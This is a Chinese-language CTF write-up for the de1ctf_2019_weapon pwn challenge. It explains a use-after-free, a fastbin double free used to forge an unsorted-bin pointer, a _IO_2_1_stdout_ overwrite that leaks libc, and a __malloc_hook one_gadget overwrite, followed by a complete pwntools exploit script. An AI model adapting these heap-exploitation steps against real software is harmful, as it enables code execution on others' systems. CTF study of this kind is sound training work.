涨知识的一个pwn题:de1ctf_2019_weapon
没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多
怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度
漏洞点位于free函数,一个简单的UAF漏洞
然后接下来说说我一开始的思路
由于程序没有提供show函数,所以几乎可以确定要打_IO_2_1_stdout_,改掉flag然后泄漏libc
但是add函数里面只能申请小于0x60的chunk,根本找不到残留的unsorted bin留下的指针
然后,然后我就找不到思路了
然后学习了一波师傅们的wp
其实这个除了UAF还有一个小漏洞,就是可以自己申请index,可以申请0-9号的任意index
这就为我们伪造unsorted bin留下了条件
思路,要想拿到unsorted bin的指针,首先我们需要一个0x60的fastbin,然后在相同的位置需要一个unsorted bin,这样fastbin的fd pointer就留下了unsorted bin的fd pointer,就可以攻击_IO_2_1_stdout_了
然后就是常规的hack __malloc_hook
仔细记录一下中间过程
先来伪造一个header,目的:可以改下一个chunk的控制信息
1 add(0x10,0,'aaaaaaaa') 2 add(0x10,1,'bbbbbbbb') 3 add(0x60,2,'cccccccc') 4 add(0x10,3,'dddddddd') 5 6 free(0) 7 free(1) 8 free(0) 9 10 add(0x10,0,p64(0) + p64(0x21)) 11 add(0x60,8,'eeeeeeee') 12 13 edit(1,'\x10')
这样我们可以申请到010的位置,从而可以对020这个chunk的header 进行修改,可以先改成0x71,然后free一下,然后再改成一个unsorten bin大小的chunk,再free,这样就有了残留的堆指针
1 add(0x10,1,'aaaaaaaa') 2 add(0x10,4,p64(0) + p64(0x71)) 3 edit(2,0x40 * 'a' + p64(0) + p64(0x71)) # bypass free check: the next chunk size cannot equal to 0 4 free(1)
编辑2号chunk的目的是绕过free时的检查
接下来fast bin拿到unsorted bin的fd指针
1 edit(4,p64(0) + p64(0x91)) # to change the chunk size 2 free(1) # now , fast fd has connected unsorted bin fd
然后就是常规思路了
申请到'\xdd\x*5'的位置,'*'需要爆破,1/16的概率,直接扔个try except
1 edit(1,'\xdd\x65') 2 edit(4,p64(0) + p64(0x71)) # don't forget to renew size 3 payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) # change flags 4 payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller 5 add(0x60,5,'lemon') 6 add(0x60,6,payload
成功泄漏libc,后面就是常规的__malloc_hook - 0x23
1 libc = ELF('./libc-2.23.so') 2 _IO_2_1_stderr_ = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192 3 libc_base = _IO_2_1_stderr_ - libc.sym['_IO_2_1_stderr_'] 4 __malloc_hook = libc_base + libc.sym['__malloc_hook'] 5 one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147] 6 one_gadget = libc_base + one_gadget_list[3] 7 print "[*] one_gadget:",hex(one_gadget) 8 add(0x60,5,'lemon') 9 free(5) 10 payload = 0x13 * 'a' + p64(one_gadget) 11 edit(5,p64(__malloc_hook - 0x23)) 12 add(0x60,5,'\x10') 13 add(0x60,0,payload) 14 add(0x20,3,'hack') 15 gdb.attach(p) 16 p.interactive()
完整exp:
1 from pwn import * 2 3 ''' 4 author: lemon 5 date: 2020-10-16 6 libc version: libc-2.23.so 7 ''' 8 9 local = 1 10 11 binary = "./de1ctf_2019_weapon" 12 13 14 def dbg(): 15 context.log_level = 'debug' 16 17 context.terminal = ['tmux','splitw','-h'] 18 19 20 def add(size,index,content): 21 p.sendlineafter('choice >> ','1') 22 p.sendlineafter('wlecome input your size of weapon: ',str(size)) 23 p.sendlineafter('input index:',str(index)) 24 p.sendafter('input your name:',content) 25 26 def free(index): 27 p.sendlineafter('choice >> ','2') 28 p.sendlineafter('input idx :',str(index)) 29 30 def edit(index,content): 31 p.sendlineafter('choice >>','3') 32 p.sendlineafter('input idx:',str(index)) 33 p.sendafter('new content:',content) 34 35 while True: 36 try: 37 if local == 1: 38 p = process(binary) 39 else: 40 p = remote("node3.buuoj.cn",26759) 41 add(0x10,0,'aaaaaaaa') 42 add(0x10,1,'bbbbbbbb') 43 add(0x60,2,'cccccccc') 44 add(0x10,3,'dddddddd') 45 46 free(0) 47 free(1) 48 free(0) 49 50 add(0x10,0,p64(0) + p64(0x21)) 51 add(0x60,8,'eeeeeeee') 52 53 edit(1,'\x10') 54 55 add(0x10,1,'aaaaaaaa') 56 add(0x10,4,p64(0) + p64(0x71)) 57 58 edit(2,0x40 * 'a' + p64(0) + p64(0x71)) # bypass free check: the next chunk size cannot equal to 0 59 60 free(1) 61 62 edit(4,p64(0) + p64(0x91)) # to change the chunk size 63 free(1) # now , fast fd has connected unsorted bin fd 64 65 edit(1,'\xdd\x65') 66 edit(4,p64(0) + p64(0x71)) # don't forget to renew size 67 68 payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) # change flags 69 payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller 70 71 add(0x60,5,'lemon') 72 add(0x60,6,payload) 73 74 75 libc = ELF('./libc-2.23.so') 76 _IO_2_1_stderr_ = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192 77 libc_base = _IO_2_1_stderr_ - libc.sym['_IO_2_1_stderr_'] 78 79 __malloc_hook = libc_base + libc.sym['__malloc_hook'] 80 81 one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147] 82 one_gadget = libc_base + one_gadget_list[3] 83 print "[*] one_gadget:",hex(one_gadget) 84 85 add(0x60,5,'lemon') 86 free(5) 87 88 payload = 0x13 * 'a' + p64(one_gadget) 89 90 edit(5,p64(__malloc_hook - 0x23)) 91 add(0x60,5,'\x10') 92 add(0x60,0,payload) 93 94 add(0x20,3,'hack') 95 96 gdb.attach(p) 97 p.interactive() 98 break 99 100 except Exception as e: 101 print(e) 102 p.close() 103 continue